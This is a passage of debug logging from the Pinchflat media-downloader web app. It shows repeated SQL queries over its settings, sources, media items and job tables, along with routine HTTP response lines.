source="media_profiles" db=0.5ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.623 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.623 [debug] QUERY OK source="settings" db=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.623 [debug] QUERY OK source="settings" db=0.2ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.624 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:51.624 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:23:51.624 [info] Sent 200 in 10ms 15:23:51.624 [debug] QUERY OK source="sources" db=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:23:51.624 [info] Sent 200 in 11ms 15:23:51.625 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:23:51.625 [debug] QUERY OK source="media_items" db=1.4ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:23:51.625 [info] Sent 200 in 10ms 15:23:51.625 [debug] QUERY OK source="media_items" db=3.5ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:23:51.626 [debug] QUERY OK source="media_items" db=0.8ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:23:51.626 [debug] QUERY OK source="sources" db=0.2ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:23:51.626 [debug] QUERY OK source="media_items" db=1.2ms idle=0.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:23:51.626 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 15:23:51.626 [debug] QUERY OK source="sources" db=0.3ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:23:51.626 [debug] QUERY OK source="media_items" db=0.3ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:23:51.627 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 15:23:51.627 [debug] QUERY OK source="sources" db=0.0ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:23:51.627 [debug] QUERY OK source="media_items" db=0.1ms idle=0.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 15:23:51.627 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:23:51.628 [debug] QUERY OK source="sources" db=0.1ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:23:51.628 [debug] QUERY OK source="media_items" db=0.5ms idle=0.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:23:51.628 [debug] QUERY OK source="media_items" db=2.5ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:23:51.628 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:23:51.629 [info] Sent 200 in 14ms 15:23:51.629 [info] Sent 200 in 18ms 15:23:51.629 [debug] QUERY OK source="media_items" db=0.8ms idle=0.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 15:23:51.630 [debug] QUERY OK source="media_items" db=0.9ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:23:51.631 [info] Sent 200 in 18ms 15:23:53.936 [info] GET / 15:23:53.936 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:23:53.936 [debug] QUERY OK source="settings" db=0.1ms idle=997.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:53.937 [debug] QUERY OK source="media_profiles" db=0.0ms idle=998.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:23:53.937 [debug] QUERY OK source="sources" db=0.0ms idle=998.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:23:53.938 [debug] QUERY OK source="media_items" db=0.8ms idle=998.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:23:53.938 [debug] QUERY OK source="media_items" db=0.3ms idle=302.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:23:53.938 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:53.938 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:53.939 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:53.939 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:23:53.940 [debug] QUERY OK source="media_items" db=0.5ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:23:53.940 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:23:53.943 [debug] QUERY OK source="media_items" db=2.3ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:23:53.945 [debug] QUERY OK source="media_items" db=2.2ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:23:53.945 [debug] QUERY OK source="tasks" db=0.1ms idle=6.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE 